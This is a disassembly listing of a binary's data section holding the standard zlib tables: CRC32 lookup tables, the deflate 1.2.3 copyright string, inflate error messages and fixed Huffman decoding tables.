		dd 1D724E9Ah, 0A5CE29FFh, 0B77B8611h, 0FC7E174h, 9210D9CDh
		dd 2AACBEA8h, 38191146h, 80A57623h, 0D8C66675h,	607A0110h
		dd 72CFAEFEh, 0CA73C99Bh, 57A4F122h, 0EF189647h, 0FDAD39A9h
		dd 45115ECCh, 764DEE06h, 0CEF18963h, 0DC44268Dh, 64F841E8h
		dd 0F92F7951h, 41931E34h, 5326B1DAh, 0EB9AD6BFh, 0B3F9C6E9h
		dd 0B45A18Ch, 19F00E62h, 0A14C6907h, 3C9B51BEh,	842736DBh
		dd 96929935h, 2E2EFE50h, 2654B999h, 9EE8DEFCh, 8C5D7112h
		dd 34E11677h, 0A9362ECEh, 118A49ABh, 33FE645h, 0BB838120h
		dd 0E3E09176h, 5B5CF613h, 49E959FDh, 0F1553E98h, 6C820621h
		dd 0D43E6144h, 0C68BCEAAh, 7E37A9CFh, 0D67F4138h, 6EC3265Dh
		dd 7C7689B3h, 0C4CAEED6h, 591DD66Fh, 0E1A1B10Ah, 0F3141EE4h
		dd 4BA87981h, 13CB69D7h, 0AB770EB2h, 0B9C2A15Ch, 17EC639h
		dd 9CA9FE80h, 241599E5h, 36A0360Bh, 8E1C516Eh, 866616A7h
		dd 3EDA71C2h, 2C6FDE2Ch, 94D3B949h, 90481F0h, 0B1B8E695h
		dd 0A30D497Bh, 1BB12E1Eh, 43D23E48h, 0FB6E592Dh, 0E9DBF6C3h
		dd 516791A6h, 0CCB0A91Fh, 740CCE7Ah, 66B96194h,	0DE0506F1h
		dd 0
		dd 96300777h, 2C610EEEh, 0BA510999h, 19C46D07h,	8FF46A70h
		dd 35A563E9h, 0A395649Eh, 3288DB0Eh, 0A4B8DC79h, 1EE9D5E0h
		dd 88D9D297h, 2B4CB609h, 0BD7CB17Eh, 72DB8E7h, 911DBF90h
		dd 6410B71Dh, 0F220B06Ah, 4871B9F3h, 0DE41BE84h, 7DD4DA1Ah
		dd 0EBE4DD6Dh, 51B5D4F4h, 0C785D383h, 56986C13h, 0C0A86B64h
		dd 7AF962FDh, 0ECC9658Ah, 4F5C0114h, 0D96C0663h, 633D0FFAh
		dd 0F50D088Dh, 0C8206E3Bh, 5E10694Ch, 0E44160D5h, 727167A2h
		dd 0D1E4033Ch, 47D4044Bh, 0FD850DD2h, 6BB50AA5h, 0FAA8B535h
		dd 6C98B242h, 0D6C9BBDBh, 40F9BCACh, 0E36CD832h, 755CDF45h
		dd 0CF0DD6DCh, 593DD1ABh, 0AC30D926h, 3A00DE51h, 8051D7C8h
		dd 1661D0BFh, 0B5F4B421h, 23C4B356h, 9995BACFh,	0FA5BDB8h
		dd 9EB80228h, 888055Fh,	0B2D90CC6h, 24E90BB1h, 877C6F2Fh
		dd 114C6858h, 0AB1D61C1h, 3D2D66B6h, 9041DC76h,	671DB01h
		dd 0BC20D298h, 2A10D5EFh, 8985B171h, 1FB5B606h,	0A5E4BF9Fh
		dd 33D4B8E8h, 0A2C90778h, 34F9000Fh, 8EA80996h,	18980EE1h
		dd 0BB0D6A7Fh, 2D3D6D08h, 976C6491h, 15C63E6h, 0F4516B6Bh
		dd 62616C1Ch, 0D8306585h, 4E0062F2h, 0ED95066Ch, 7BA5011Bh
		dd 0C1F40882h, 57C40FF5h, 0C6D9B065h, 50E9B712h, 0EAB8BE8Bh
		dd 7C88B9FCh, 0DF1DDD62h, 492DDA15h, 0F37CD38Ch, 654CD4FBh
		dd 5861B24Dh, 0CE51B53Ah, 7400BCA3h, 0E230BBD4h, 41A5DF4Ah
		dd 0D795D83Dh, 6DC4D1A4h, 0FBF4D6D3h, 6AE96943h, 0FCD96E34h
		dd 468867ADh, 0D0B860DAh, 732D0444h, 0E51D0333h, 5F4C0AAAh
		dd 0C97C0DDDh, 3C710550h, 0AA410227h, 10100BBEh, 86200CC9h
		dd 25B56857h, 0B3856F20h, 9D466B9h, 9FE461CEh, 0EF9DE5Eh
		dd 98C9D929h, 2298D0B0h, 0B4A8D7C7h, 173DB359h,	810DB42Eh
		dd 3B5CBDB7h, 0AD6CBAC0h, 2083B8EDh, 0B6B3BF9Ah, 0CE2B603h
		dd 9AD2B174h, 3947D5EAh, 0AF77D29Dh, 1526DB04h,	8316DC73h
		dd 120B63E3h, 843B6494h, 3E6A6D0Dh, 0A85A6A7Ah,	0BCF0EE4h
		dd 9DFF0993h, 27AE000Ah, 0B19E077Dh, 44930FF0h,	0D2A30887h
		dd 68F2011Eh, 0FEC20669h, 5D5762F7h, 0CB676580h, 71366C19h
		dd 0E7066B6Eh, 761BD4FEh, 0E02BD389h, 5A7ADA10h, 0CC4ADD67h
		dd 6FDFB9F9h, 0F9EFBE8Eh, 43BEB717h, 0D58EB060h, 0E8A3D6D6h
		dd 7E93D1A1h, 0C4C2D838h, 52F2DF4Fh, 0F167BBD1h, 6757BCA6h
		dd 0DD06B53Fh, 4B36B248h, 0DA2B0DD8h, 4C1B0AAFh, 0F64A0336h
		dd 607A0441h, 0C3EF60DFh, 55DF67A8h, 0EF8E6E31h, 79BE6946h
		dd 8CB361CBh, 1A8366BCh, 0A0D26F25h, 36E26852h,	95770CCCh
		dd 3470BBBh, 0B9160222h, 2F260555h, 0BE3BBAC5h,	280BBDB2h
		dd 925AB42Bh, 46AB35Ch,	0A7FFD7C2h, 31CFD0B5h, 8B9ED92Ch
		dd 1DAEDE5Bh, 0B0C2649Bh, 26F263ECh, 9CA36A75h,	0A936D02h
		dd 0A906099Ch, 3F360EEBh, 85670772h, 13570005h,	824ABF95h
		dd 147AB8E2h, 0AE2BB17Bh, 381BB60Ch, 9B8ED292h,	0DBED5E5h
		dd 0B7EFDC7Ch, 21DFDB0Bh, 0D4D2D386h, 42E2D4F1h, 0F8B3DD68h
		dd 6E83DA1Fh, 0CD16BE81h, 5B26B9F6h, 0E177B06Fh, 7747B718h
		dd 0E65A0888h, 706A0FFFh, 0CA3B0666h, 5C0B0111h, 0FF9E658Fh
		dd 69AE62F8h, 0D3FF6B61h, 45CF6C16h, 78E20AA0h,	0EED20DD7h
		dd 5483044Eh, 0C2B30339h, 612667A7h, 0F71660D0h, 4D476949h
		dd 0DB776E3Eh, 4A6AD1AEh, 0DC5AD6D9h, 660BDF40h, 0F03BD837h
		dd 53AEBCA9h, 0C59EBBDEh, 7FCFB247h, 0E9FFB530h, 1CF2BDBDh
		dd 8AC2BACAh, 3093B353h, 0A6A3B424h, 536D0BAh, 9306D7CDh
		dd 2957DE54h, 0BF67D923h, 2E7A66B3h, 0B84A61C4h, 21B685Dh
		dd 942B6F2Ah, 37BE0BB4h, 0A18E0CC3h, 1BDF055Ah,	8DEF022Dh
		dd 0
		dd 41311B19h, 82623632h, 0C3532D2Bh, 4C56C64h, 45F4777Dh
		dd 86A75A56h, 0C796414Fh, 88AD9C8h, 49BBC2D1h, 8AE8EFFAh
		dd 0CBD9F4E3h, 0C4FB5ACh, 4D7EAEB5h, 8E2D839Eh,	0CF1C9887h
		dd 5112C24Ah, 1023D953h, 0D370F478h, 9241EF61h,	55D7AE2Eh
		dd 14E6B537h, 0D7B5981Ch, 96848305h, 59981B82h,	18A9009Bh
		dd 0DBFA2DB0h, 9ACB36A9h, 5D5D77E6h, 1C6C6CFFh,	0DF3F41D4h
		dd 9E0E5ACDh, 0A2248495h, 0E3159F8Ch, 2046B2A7h, 6177A9BEh
		dd 0A6E1E8F1h, 0E7D0F3E8h, 2483DEC3h, 65B2C5DAh, 0AAAE5D5Dh
		dd 0EB9F4644h, 28CC6B6Fh, 69FD7076h, 0AE6B3139h, 0EF5A2A20h
		dd 2C09070Bh, 6D381C12h, 0F33646DFh, 0B2075DC6h, 715470EDh
		dd 30656BF4h, 0F7F32ABBh, 0B6C231A2h, 75911C89h, 34A00790h
		dd 0FBBC9F17h, 0BA8D840Eh, 79DEA925h, 38EFB23Ch, 0FF79F373h
		dd 0BE48E86Ah, 7D1BC541h, 3C2ADE58h, 54F79F0h, 447E62E9h
		dd 872D4FC2h, 0C61C54DBh, 18A1594h, 40BB0E8Dh, 83E823A6h
		dd 0C2D938BFh, 0DC5A038h, 4CF4BB21h, 8FA7960Ah,	0CE968D13h
		dd 900CC5Ch, 4831D745h,	8B62FA6Eh, 0CA53E177h, 545DBBBAh
		dd 156CA0A3h, 0D63F8D88h, 970E9691h, 5098D7DEh,	11A9CCC7h
		dd 0D2FAE1ECh, 93CBFAF5h, 5CD76272h, 1DE6796Bh,	0DEB55440h
		dd 9F844F59h, 58120E16h, 1923150Fh, 0DA703824h,	9B41233Dh
		dd 0A76BFD65h, 0E65AE67Ch, 2509CB57h, 6438D04Eh, 0A3AE9101h
		dd 0E29F8A18h, 21CCA733h, 60FDBC2Ah, 0AFE124ADh, 0EED03FB4h
		dd 2D83129Fh, 6CB20986h, 0AB2448C9h, 0EA1553D0h, 29467EFBh
		dd 687765E2h, 0F6793F2Fh, 0B7482436h, 741B091Dh, 352A1204h
		dd 0F2BC534Bh, 0B38D4852h, 70DE6579h, 31EF7E60h, 0FEF3E6E7h
		dd 0BFC2FDFEh, 7C91D0D5h, 3DA0CBCCh, 0FA368A83h, 0BB07919Ah
		dd 7854BCB1h, 3965A7A8h, 4B98833Bh, 0AA99822h, 0C9FAB509h
		dd 88CBAE10h, 4F5DEF5Fh, 0E6CF446h, 0CD3FD96Dh,	8C0EC274h
		dd 43125AF3h, 22341EAh,	0C1706CC1h, 804177D8h, 47D73697h
		dd 6E62D8Eh, 0C5B500A5h, 84841BBCh, 1A8A4171h, 5BBB5A68h
		dd 98E87743h, 0D9D96C5Ah, 1E4F2D15h, 5F7E360Ch,	9C2D1B27h
		dd 0DD1C003Eh, 120098B9h, 533183A0h, 9062AE8Bh,	0D153B592h
		dd 16C5F4DDh, 57F4EFC4h, 94A7C2EFh, 0D596D9F6h,	0E9BC07AEh
		dd 0A88D1CB7h, 6BDE319Ch, 2AEF2A85h, 0ED796BCAh, 0AC4870D3h
		dd 6F1B5DF8h, 2E2A46E1h, 0E136DE66h, 0A007C57Fh, 6354E854h
		dd 2265F34Dh, 0E5F3B202h, 0A4C2A91Bh, 67918430h, 26A09F29h
		dd 0B8AEC5E4h, 0F99FDEFDh, 3ACCF3D6h, 7BFDE8CFh, 0BC6BA980h
		dd 0FD5AB299h, 3E099FB2h, 7F3884ABh, 0B0241C2Ch, 0F1150735h
		dd 32462A1Eh, 73773107h, 0B4E17048h, 0F5D06B51h, 3683467Ah
		dd 77B25D63h, 4ED7FACBh, 0FE6E1D2h, 0CCB5CCF9h,	8D84D7E0h
		dd 4A1296AFh, 0B238DB6h, 0C870A09Dh, 8941BB84h,	465D2303h
		dd 76C381Ah, 0C43F1531h, 850E0E28h, 42984F67h, 3A9547Eh
		dd 0C0FA7955h, 81CB624Ch, 1FC53881h, 5EF42398h,	9DA70EB3h
		dd 0DC9615AAh, 1B0054E5h, 5A314FFCh, 996262D7h,	0D85379CEh
		dd 174FE149h, 567EFA50h, 952DD77Bh, 0D41CCC62h,	138A8D2Dh
		dd 52BB9634h, 91E8BB1Fh, 0D0D9A006h, 0ECF37E5Eh, 0ADC26547h
		dd 6E91486Ch, 2FA05375h, 0E836123Ah, 0A9070923h, 6A542408h
		dd 2B653F11h, 0E479A796h, 0A548BC8Fh, 661B91A4h, 272A8ABDh
		dd 0E0BCCBF2h, 0A18DD0EBh, 62DEFDC0h, 23EFE6D9h, 0BDE1BC14h
		dd 0FCD0A70Dh, 3F838A26h, 7EB2913Fh, 0B924D070h, 0F815CB69h
		dd 3B46E642h, 7A77FD5Bh, 0B56B65DCh, 0F45A7EC5h, 370953EEh
		dd 763848F7h, 0B1AE09B8h, 0F09F12A1h, 33CC3F8Ah, 72FD2493h
		dd 0
		dd 376AC201h, 6ED48403h, 59BE4602h, 0DCA80907h,	0EBC2CB06h
		dd 0B27C8D04h, 85164F05h, 0B851130Eh, 8F3BD10Fh, 0D685970Dh
		dd 0E1EF550Ch, 64F91A09h, 5393D808h, 0A2D9E0Ah,	3D475C0Bh
		dd 70A3261Ch, 47C9E41Dh, 1E77A21Fh, 291D601Eh, 0AC0B2F1Bh
		dd 9B61ED1Ah, 0C2DFAB18h, 0F5B56919h, 0C8F23512h, 0FF98F713h
		dd 0A626B111h, 914C7310h, 145A3C15h, 2330FE14h,	7A8EB816h
		dd 4DE47A17h, 0E0464D38h, 0D72C8F39h, 8E92C93Bh, 0B9F80B3Ah
		dd 3CEE443Fh, 0B84863Eh, 523AC03Ch, 6550023Dh, 58175E36h
		dd 6F7D9C37h, 36C3DA35h, 1A91834h, 84BF5731h, 0B3D59530h
		dd 0EA6BD332h, 0DD011133h, 90E56B24h, 0A78FA925h, 0FE31EF27h
		dd 0C95B2D26h, 4C4D6223h, 7B27A022h, 2299E620h,	15F32421h
		dd 28B4782Ah, 1FDEBA2Bh, 4660FC29h, 710A3E28h, 0F41C712Dh
		dd 0C376B32Ch, 9AC8F52Eh, 0ADA2372Fh, 0C08D9A70h, 0F7E75871h
		dd 0AE591E73h, 9933DC72h, 1C259377h, 2B4F5176h,	72F11774h
		dd 459BD575h, 78DC897Eh, 4FB64B7Fh, 16080D7Dh, 2162CF7Ch
		dd 0A4748079h, 931E4278h, 0CAA0047Ah, 0FDCAC67Bh, 0B02EBC6Ch
		dd 87447E6Dh, 0DEFA386Fh, 0E990FA6Eh, 6C86B56Bh, 5BEC776Ah
		dd 2523168h, 3538F369h,	87FAF62h, 3F156D63h, 66AB2B61h
		dd 51C1E960h, 0D4D7A665h, 0E3BD6464h, 0BA032266h, 8D69E067h
		dd 20CBD748h, 17A11549h, 4E1F534Bh, 7975914Ah, 0FC63DE4Fh
		dd 0CB091C4Eh, 92B75A4Ch, 0A5DD984Dh, 989AC446h, 0AFF00647h
		dd 0F64E4045h, 0C1248244h, 4432CD41h, 73580F40h, 2AE64942h
		dd 1D8C8B43h, 5068F154h, 67023355h, 3EBC7557h, 9D6B756h
		dd 8CC0F853h, 0BBAA3A52h, 0E2147C50h, 0D57EBE51h, 0E839E25Ah
		dd 0DF53205Bh, 86ED6659h, 0B187A458h, 3491EB5Dh, 3FB295Ch
		dd 5A456F5Eh, 6D2FAD5Fh, 801B35E1h, 0B771F7E0h,	0EECFB1E2h
		dd 0D9A573E3h, 5CB33CE6h, 6BD9FEE7h, 3267B8E5h,	50D7AE4h
		dd 384A26EFh, 0F20E4EEh, 569EA2ECh, 61F460EDh, 0E4E22FE8h
		dd 0D388EDE9h, 8A36ABEBh, 0BD5C69EAh, 0F0B813FDh, 0C7D2D1FCh
		dd 9E6C97FEh, 0A90655FFh, 2C101AFAh, 1B7AD8FBh,	42C49EF9h
		dd 75AE5CF8h, 48E900F3h, 7F83C2F2h, 263D84F0h, 115746F1h
		dd 944109F4h, 0A32BCBF5h, 0FA958DF7h, 0CDFF4FF6h, 605D78D9h
		dd 5737BAD8h, 0E89FCDAh, 39E33EDBh, 0BCF571DEh,	8B9FB3DFh
		dd 0D221F5DDh, 0E54B37DCh, 0D80C6BD7h, 0EF66A9D6h, 0B6D8EFD4h
		dd 81B22DD5h, 4A462D0h,	33CEA0D1h, 6A70E6D3h, 5D1A24D2h
		dd 10FE5EC5h, 27949CC4h, 7E2ADAC6h, 494018C7h, 0CC5657C2h
		dd 0FB3C95C3h, 0A282D3C1h, 95E811C0h, 0A8AF4DCBh, 9FC58FCAh
		dd 0C67BC9C8h, 0F1110BC9h, 740744CCh, 436D86CDh, 1AD3C0CFh
		dd 2DB902CEh, 4096AF91h, 77FC6D90h, 2E422B92h, 1928E993h
		dd 9C3EA696h, 0AB546497h, 0F2EA2295h, 0C580E094h, 0F8C7BC9Fh
		dd 0CFAD7E9Eh, 9613389Ch, 0A179FA9Dh, 246FB598h, 13057799h
		dd 4ABB319Bh, 7DD1F39Ah, 3035898Dh, 75F4B8Ch, 5EE10D8Eh
		dd 698BCF8Fh, 0EC9D808Ah, 0DBF7428Bh, 82490489h, 0B523C688h
		dd 88649A83h, 0BF0E5882h, 0E6B01E80h, 0D1DADC81h, 54CC9384h
		dd 63A65185h, 3A181787h, 0D72D586h, 0A0D0E2A9h,	97BA20A8h
		dd 0CE0466AAh, 0F96EA4ABh, 7C78EBAEh, 4B1229AFh, 12AC6FADh
		dd 25C6ADACh, 1881F1A7h, 2FEB33A6h, 765575A4h, 413FB7A5h
		dd 0C429F8A0h, 0F3433AA1h, 0AAFD7CA3h, 9D97BEA2h, 0D073C4B5h
		dd 0E71906B4h, 0BEA740B6h, 89CD82B7h, 0CDBCDB2h, 3BB10FB3h
		dd 620F49B1h, 55658BB0h, 6822D7BBh, 5F4815BAh, 6F653B8h
		dd 319C91B9h, 0B48ADEBCh, 83E01CBDh, 0DA5E5ABFh, 0ED3498BEh
		dd 0
		dd 6567BCB8h, 8BC809AAh, 0EEAFB512h, 5797628Fh,	32F0DE37h
		dd 0DC5F6B25h, 0B938D79Dh, 0EF28B4C5h, 8A4F087Dh, 64E0BD6Fh
		dd 18701D7h, 0B8BFD64Ah, 0DDD86AF2h, 3377DFE0h,	56106358h
		dd 9F571950h, 0FA30A5E8h, 149F10FAh, 71F8AC42h,	0C8C07BDFh
		dd 0ADA7C767h, 43087275h, 266FCECDh, 707FAD95h,	1518112Dh
		dd 0FBB7A43Fh, 9ED01887h, 27E8CF1Ah, 428F73A2h,	0AC20C6B0h
		dd 0C9477A08h, 3EAF32A0h, 5BC88E18h, 0B5673B0Ah, 0D00087B2h
		dd 6938502Fh, 0C5FEC97h, 0E2F05985h, 8797E53Dh,	0D1878665h
		dd 0B4E03ADDh, 5A4F8FCFh, 3F283377h, 8610E4EAh,	0E3775852h
		dd 0DD8ED40h, 68BF51F8h, 0A1F82BF0h, 0C49F9748h, 2A30225Ah
		dd 4F579EE2h, 0F66F497Fh, 9308F5C7h, 7DA740D5h,	18C0FC6Dh
		dd 4ED09F35h, 2BB7238Dh, 0C518969Fh, 0A07F2A27h, 1947FDBAh
		dd 7C204102h, 928FF410h, 0F7E848A8h, 3D58149Bh,	583FA823h
		dd 0B6901D31h, 0D3F7A189h, 6ACF7614h, 0FA8CAACh, 0E1077FBEh
		dd 8460C306h, 0D270A05Eh, 0B7171CE6h, 59B8A9F4h, 3CDF154Ch
		dd 85E7C2D1h, 0E0807E69h, 0E2FCB7Bh, 6B4877C3h,	0A20F0DCBh
		dd 0C768B173h, 29C70461h, 4CA0B8D9h, 0F5986F44h, 90FFD3FCh
		dd 7E5066EEh, 1B37DA56h, 4D27B90Eh, 284005B6h, 0C6EFB0A4h
		dd 0A3880C1Ch, 1AB0DB81h, 7FD76739h, 9178D22Bh,	0F41F6E93h
		dd 3F7263Bh, 66909A83h,	883F2F91h, 0ED589329h, 546044B4h
		dd 3107F80Ch, 0DFA84D1Eh, 0BACFF1A6h, 0ECDF92FEh, 89B82E46h
		dd 67179B54h, 27027ECh,	0BB48F071h, 0DE2F4CC9h,	3080F9DBh
		dd 55E74563h, 9CA03F6Bh, 0F9C783D3h, 176836C1h,	720F8A79h
		dd 0CB375DE4h, 0AE50E15Ch, 40FF544Eh, 2598E8F6h, 73888BAEh
		dd 16EF3716h, 0F8408204h, 9D273EBCh, 241FE921h,	41785599h
		dd 0AFD7E08Bh, 0CAB05C33h, 3BB659EDh, 5ED1E555h, 0B07E5047h
		dd 0D519ECFFh, 6C213B62h, 94687DAh, 0E7E932C8h,	828E8E70h
		dd 0D49EED28h, 0B1F95190h, 5F56E482h, 3A31583Ah, 83098FA7h
		dd 0E66E331Fh, 8C1860Dh, 6DA63AB5h, 0A4E140BDh,	0C186FC05h
		dd 2F294917h, 4A4EF5AFh, 0F3762232h, 96119E8Ah,	78BE2B98h
		dd 1DD99720h, 4BC9F478h, 2EAE48C0h, 0C001FDD2h,	0A566416Ah
		dd 1C5E96F7h, 79392A4Fh, 97969F5Dh, 0F2F123E5h,	5196B4Dh
		dd 607ED7F5h, 8ED162E7h, 0EBB6DE5Fh, 528E09C2h,	37E9B57Ah
		dd 0D9460068h, 0BC21BCD0h, 0EA31DF88h, 8F566330h, 61F9D622h
		dd 49E6A9Ah, 0BDA6BD07h, 0D8C101BFh, 366EB4ADh,	53090815h
		dd 9A4E721Dh, 0FF29CEA5h, 11867BB7h, 74E1C70Fh,	0CDD91092h
		dd 0A8BEAC2Ah, 46111938h, 2376A580h, 7566C6D8h,	10017A60h
		dd 0FEAECF72h, 9BC973CAh, 22F1A457h, 479618EFh,	0A939ADFDh
		dd 0CC5E1145h, 6EE4D76h, 6389F1CEh, 8D2644DCh, 0E841F864h
		dd 51792FF9h, 341E9341h, 0DAB12653h, 0BFD69AEBh, 0E9C6F9B3h
		dd 8CA1450Bh, 620EF019h, 7694CA1h, 0BE519B3Ch, 0DB362784h
		dd 35999296h, 50FE2E2Eh, 99B95426h, 0FCDEE89Eh,	12715D8Ch
		dd 7716E134h, 0CE2E36A9h, 0AB498A11h, 45E63F03h, 208183BBh
		dd 7691E0E3h, 13F65C5Bh, 0FD59E949h, 983E55F1h,	2106826Ch
		dd 44613ED4h, 0AACE8BC6h, 0CFA9377Eh, 38417FD6h, 5D26C36Eh
		dd 0B389767Ch, 0D6EECAC4h, 6FD61D59h, 0AB1A1E1h, 0E41E14F3h
		dd 8179A84Bh, 0D769CB13h, 0B20E77ABh, 5CA1C2B9h, 39C67E01h
		dd 80FEA99Ch, 0E5991524h, 0B36A036h, 6E511C8Eh,	0A7166686h
		dd 0C271DA3Eh, 2CDE6F2Ch, 49B9D394h, 0F0810409h, 95E6B8B1h
		dd 7B490DA3h, 1E2EB11Bh, 483ED243h, 2D596EFBh, 0C3F6DBE9h
		dd 0A6916751h, 1FA9B0CCh, 7ACE0C74h, 9461B966h,	0F10605DEh
		dd 66656420h, 6574616Ch, 322E3120h, 4320332Eh, 7279706Fh
		dd 74686769h, 39393120h, 30322D35h, 4A203530h, 2D6E6165h
		dd 70756F6Ch, 69614720h, 20796C6Ch, 3 dup(0)
		dd offset sub_60197B
		dd 40004h, 40008h, 601AA3h, 50004h, 80010h, 601AA3h, 60004h
		dd 200020h, 601AA3h, 40004h, 100010h, 601D8Bh, 100008h
		dd 200020h, 601D8Bh, 100008h, 800080h, 601D8Bh,	200008h
		dd 1000080h, 601D8Bh, 800020h, 4000102h, 601D8Bh, 1020020h
		dd 10000102h, 601D8Bh, 2E322E31h, 33h
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_60214D:loc_60249Do
					; sub_6026FA+CD0o
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_60214D:loc_602487o
					; sub_6026FA+E0Co
		align 4
aInvalidDistanc	db 'invalid distance too far back',0 ; DATA XREF: sub_60214D:loc_60247Eo
					; sub_6026FA+E7Fo
		align 8
asc_60B1E8	db '`',7,0              ; DATA XREF: sub_6026FA:loc_602DDDo
		align 4
		dd 500800h, 100800h, 730814h, 1F0712h, 700800h,	300800h
		dd 0C00900h, 0A0710h, 600800h, 200800h,	0A00900h, 800h
		dd 800800h, 400800h, 0E00900h, 60710h, 580800h,	180800h
		dd 900900h, 3B0713h, 780800h, 380800h, 0D00900h, 110711h
		dd 680800h, 280800h, 0B00900h, 80800h, 880800h,	480800h
		dd 0F00900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h
		dd 740800h, 340800h, 0C80900h, 0D0711h,	640800h, 240800h
		dd 0A80900h, 40800h, 840800h, 440800h, 0E80900h, 80710h
		dd 5C0800h, 1C0800h, 980900h, 530714h, 7C0800h,	3C0800h
		dd 0D80900h, 170712h, 6C0800h, 2C0800h,	0B80900h, 0C0800h
		dd 8C0800h, 4C0800h, 0F80900h, 30710h, 520800h,	120800h
		dd 0A30815h, 230713h, 720800h, 320800h,	0C40900h, 0B0711h
		dd 620800h, 220800h, 0A40900h, 20800h, 820800h,	420800h
		dd 0E40900h, 70710h, 5A0800h, 1A0800h, 940900h,	430714h
		dd 7A0800h, 3A0800h, 0D40900h, 130712h,	6A0800h, 2A0800h
		dd 0B40900h, 0A0800h, 8A0800h, 4A0800h,	0F40900h, 50710h
		dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CC0900h
		dd 0F0711h, 660800h, 260800h, 0AC0900h,	60800h,	860800h
		dd 460800h, 0EC0900h, 90710h, 5E0800h, 1E0800h,	9C0900h
		dd 630714h, 7E0800h, 3E0800h, 0DC0900h,	1B0712h, 6E0800h
		dd 2E0800h, 0BC0900h, 0E0800h, 8E0800h,	4E0800h, 0FC0900h
		dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h
		dd 0C20900h, 0A0710h, 610800h, 210800h,	0A20900h, 10800h
		dd 810800h, 410800h, 0E20900h, 60710h, 590800h,	190800h
		dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h
		dd 690800h, 290800h, 0B20900h, 90800h, 890800h,	490800h
		dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CA0900h, 0D0711h,	650800h, 250800h
		dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h
		dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h,	3D0800h
		dd 0DA0900h, 170712h, 6D0800h, 2D0800h,	0BA0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C60900h, 0B0711h
		dd 630800h, 230800h, 0A60900h, 30800h, 830800h,	430800h
		dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h,	430714h
		dd 7B0800h, 3B0800h, 0D60900h, 130712h,	6B0800h, 2B0800h
		dd 0B60900h, 0B0800h, 8B0800h, 4B0800h,	0F60900h, 50710h
		dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h
		dd 0F0711h, 670800h, 270800h, 0AE0900h,	70800h,	870800h
		dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h,	9E0900h
		dd 630714h, 7F0800h, 3F0800h, 0DE0900h,	1B0712h, 6F0800h
		dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h,	4F0800h, 0FE0900h
		dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h
		dd 0C10900h, 0A0710h, 600800h, 200800h,	0A10900h, 800h
		dd 800800h, 400800h, 0E10900h, 60710h, 580800h,	180800h
		dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h
		dd 680800h, 280800h, 0B10900h, 80800h, 880800h,	480800h
		dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h
		dd 740800h, 340800h, 0C90900h, 0D0711h,	640800h, 240800h
		dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h
		dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h,	3C0800h
		dd 0D90900h, 170712h, 6C0800h, 2C0800h,	0B90900h, 0C0800h
		dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h,	120800h
		dd 0A30815h, 230713h, 720800h, 320800h,	0C50900h, 0B0711h
		dd 620800h, 220800h, 0A50900h, 20800h, 820800h,	420800h
		dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h,	430714h
		dd 7A0800h, 3A0800h, 0D50900h, 130712h,	6A0800h, 2A0800h
		dd 0B50900h, 0A0800h, 8A0800h, 4A0800h,	0F50900h, 50710h
		dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h
		dd 0F0711h, 660800h, 260800h, 0AD0900h,	60800h,	860800h
		dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h,	9D0900h
		dd 630714h, 7E0800h, 3E0800h, 0DD0900h,	1B0712h, 6E0800h
		dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h,	4E0800h, 0FD0900h
		dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h
		dd 0C30900h, 0A0710h, 610800h, 210800h,	0A30900h, 10800h
		dd 810800h, 410800h, 0E30900h, 60710h, 590800h,	190800h
		dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h
		dd 690800h, 290800h, 0B30900h, 90800h, 890800h,	490800h
		dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h
		dd 750800h, 350800h, 0CB0900h, 0D0711h,	650800h, 250800h
		dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h
		dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h,	3D0800h
		dd 0DB0900h, 170712h, 6D0800h, 2D0800h,	0BB0900h, 0D0800h
		dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h,	130800h
		dd 0C30815h, 230713h, 730800h, 330800h,	0C70900h, 0B0711h
		dd 630800h, 230800h, 0A70900h, 30800h, 830800h,	430800h
		dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h,	430714h
		dd 7B0800h, 3B0800h, 0D70900h, 130712h,	6B0800h, 2B0800h
		dd 0B70900h, 0B0800h, 8B0800h, 4B0800h,	0F70900h, 50710h
		dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CF0900h
		dd 0F0711h, 670800h, 270800h, 0AF0900h,	70800h,	870800h
		dd 470800h, 0EF0900h, 90710h, 5F0800h, 1F0800h,	9F0900h
		dd 630714h, 7F0800h, 3F0800h, 0DF0900h,	1B0712h, 6F0800h
		dd 2F0800h, 0BF0900h, 0F0800h, 8F0800h,	4F0800h, 0FF0900h
dword_60B9E8	dd 10510h, 1010517h, 110513h, 1001051Bh, 50511h, 4010519h
					; DATA XREF: sub_6026FA+6F1o
		dd 410515h, 4001051Dh, 30510h, 2010518h, 210514h, 2001051Ch
		dd 90512h, 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h
		dd 1801051Bh, 70511h, 6010519h,	610515h, 6001051Dh, 40510h
